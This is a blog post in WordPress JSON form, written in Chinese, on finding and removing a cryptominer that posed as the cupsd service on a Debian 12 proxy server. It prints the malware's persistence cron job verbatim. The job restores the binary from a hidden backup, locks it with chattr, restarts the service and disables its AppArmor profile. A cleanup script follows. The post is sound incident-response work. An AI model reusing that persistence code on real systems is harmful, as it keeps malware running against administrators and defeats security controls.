{"id":25400,"date":"2026-09-13T12:33:17","date_gmt":"2026-09-13T04:33:17","guid":{"rendered":"https:\/\/blog.iyatt.com\/?p=25400"},"modified":"2026-09-13T12:33:17","modified_gmt":"2026-09-13T04:33:17","slug":"debian-12-%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%e6%84%9f%e6%9f%93%e6%8c%96%e7%9f%bf%e4%ba%86","status":"publish","type":"post","link":"https:\/\/blog.iyatt.com\/?p=25400","title":{"rendered":"Debian 12 \u670d\u52a1\u5668\u88ab\u611f\u67d3\u6316\u77ff\u4e86"},"content":{"rendered":"

\u6211\u7684\u4ee3\u7406\u670d\u52a1\u5668\u957f\u65f6\u95f4\u6709\u4e2a cupsd \u670d\u52a1\u9ad8\u5360\u7528\uff0c\u6740\u6389\u4f1a\u91cd\u542f\uff0c\u68c0\u67e5\u53d1\u73b0\u4e5f\u6ca1\u6709\u5b89\u88c5\u6b63\u5e38\u7684 cupsd \u670d\u52a1\uff0c\u90a3\u5c31\u662f\u75c5\u6bd2\u4f2a\u88c5\u7684\u670d\u52a1\u3002
\n\"file\"<\/p>\n

grep -rn "\/usr\/sbin\/cupsd" \/etc\/systemd\/system\/ \/lib\/systemd\/system\/ \/etc\/cron* \/var\/spool\/cron\/ 2>\/dev\/null<\/code><\/pre>\n
\u8f93\u51fa<\/p>\n
\/etc\/systemd\/system\/cupsd.service:10:ExecStart=\/usr\/sbin\/cupsd\n\/etc\/cron.d\/cupsd-keepalive:1:* * * * * root \/bin\/sh -c 'if [ ! -f \/usr\/sbin\/cupsd ]; then   chattr -i \/usr\/sbin\/cupsd 2>\/dev\/null;   cp \/var\/local\/.cup\/vc.bin \/usr\/sbin\/cupsd 2>\/dev\/null;   chattr +i \/usr\/sbin\/cupsd 2>\/dev\/null; fi; chmod 755 \/usr\/sbin\/cupsd 2>\/dev\/null; alive=0; for p in $(pgrep -x cupsd 2>\/dev\/null); do   [ "$(readlink \/proc\/$p\/exe 2>\/dev\/null)" = "\/usr\/sbin\/cupsd" ] && alive=1; done; [ "$alive" = "1" ] || systemctl restart cupsd.service >\/dev\/null 2>&1; systemctl is-enabled cupsd.service >\/dev\/null 2>&1 || systemctl enable cupsd.service >\/dev\/null 2>&1; aa-status 2>\/dev\/null | grep -q cupsd && { ln -sf \/etc\/apparmor.d\/usr.sbin.cupsd \/etc\/apparmor.d\/disable\/usr.sbin.cupsd 2>\/dev\/null; apparmor_parser -R \/etc\/apparmor.d\/usr.sbin.cupsd >\/dev\/null 2>&1; }'<\/code><\/pre>\n
AI \u5206\u6790\u7ed3\u679c\u662f
\n\u81ea\u542f\u52a8\u670d\u52a1\uff1a\/etc\/systemd\/system\/cupsd.service
\n\u5b9a\u65f6\u4fdd\u6301\u4fdd\u6d3b\u811a\u672c\uff1a\/etc\/cron.d\/cupsd-keepalive\uff08\u6bcf\u5206\u949f\u68c0\u67e5\u4e00\u6b21\uff0c\u5982\u679c \/usr\/sbin\/cupsd \u88ab\u5220\u4e86\uff0c\u5c31\u4f1a\u81ea\u52a8\u4ece\u5907\u4efd\u4f4d\u7f6e\u590d\u5236\u8fc7\u6765\u6062\u590d\uff01\uff09
\n\u6728\u9a6c\u9690\u85cf\u5907\u4efd\u6e90\uff1a\/var\/local\/.cup\/vc.bin<\/p>\n
\u7ed9\u51fa\u7684\u65b9\u6cd5\u5982\u4e0b\uff0c\u5b8c\u6574\u590d\u5236\u6240\u6709\u547d\u4ee4\uff0c\u4e00\u6b21\u6027\u7c98\u8d34\u8fd0\u884c\uff0c\u4e0d\u7559\u65f6\u95f4\u8ba9\u75c5\u6bd2\u590d\u6d3b<\/p>\n
# \u505c\u6b62\u670d\u52a1\nsystemctl stop cupsd.service 2>\/dev\/null\nsystemctl disable cupsd.service 2>\/dev\/null\n\n# \u89e3\u9501\u5e76\u5220\u9664\u9690\u85cf\u7684\u5907\u4efd\u6728\u9a6c\u6e90\nchattr -i \/var\/local\/.cup\/vc.bin 2>\/dev\/null\nrm -rf \/var\/local\/.cup\n\n# \u5220\u9664\u5b9a\u65f6\u590d\u6d3b\u4efb\u52a1\nchattr -i \/etc\/cron.d\/cupsd-keepalive 2>\/dev\/null\nrm -f \/etc\/cron.d\/cupsd-keepalive\n\n#  \u5220\u9664\u6076\u610f systemd \u670d\u52a1\u6587\u4ef6\nchattr -i \/etc\/systemd\/system\/cupsd.service 2>\/dev\/null\nrm -f \/etc\/systemd\/system\/cupsd.service\n\n# \u91cd\u8f7d\u7cfb\u7edf\u670d\u52a1\u914d\u7f6e\nsystemctl daemon-reload\n\n# \u6e05\u9664\u4e3b\u6728\u9a6c\u7a0b\u5e8f\nchattr -i \/usr\/sbin\/cupsd 2>\/dev\/null\nrm -f \/usr\/sbin\/cupsd\n\n# \u5f3a\u5236\u7ec8\u6b62\u6240\u6709\u6b8b\u7559 cupsd \u8fdb\u7a0b\npkill -9 -f cupsd\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u6211\u7684\u4ee3\u7406\u670d\u52a1\u5668\u957f\u65f6\u95f4\u6709\u4e2a cupsd \u670d\u52a1\u9ad8\u5360\u7528\uff0c\u6740\u6389\u4f1a\u91cd\u542f\uff0c\u68c0\u67e5\u53d1\u73b0\u4e5f\u6ca1\u6709\u5b89\u88c5\u6b63\u5e38\u7684 cupsd \u670d\u52a1\uff0c\u90a3\u5c31 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"zakra_page_container_layout":"customizer","zakra_page_sidebar_layout":"customizer","zakra_remove_content_margin":false,"zakra_sidebar":"customizer","zakra_transparent_header":"customizer","zakra_logo":0,"zakra_main_header_style":"default","zakra_menu_item_color":"","zakra_menu_item_hover_color":null,"zakra_menu_item_active_color":null,"zakra_menu_active_style":"","zakra_page_header":true,"_lmt_disableupdate":"","_lmt_disable":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-25400","post","type-post","status-publish","format-standard","hentry","category-all"],"modified_by":"IYATT-yx","_links":{"self":[{"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=\/wp\/v2\/posts\/25400","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25400"}],"version-history":[{"count":1,"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=\/wp\/v2\/posts\/25400\/revisions"}],"predecessor-version":[{"id":25402,"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=\/wp\/v2\/posts\/25400\/revisions\/25402"}],"wp:attachment":[{"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25400"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25400"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.iyatt.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}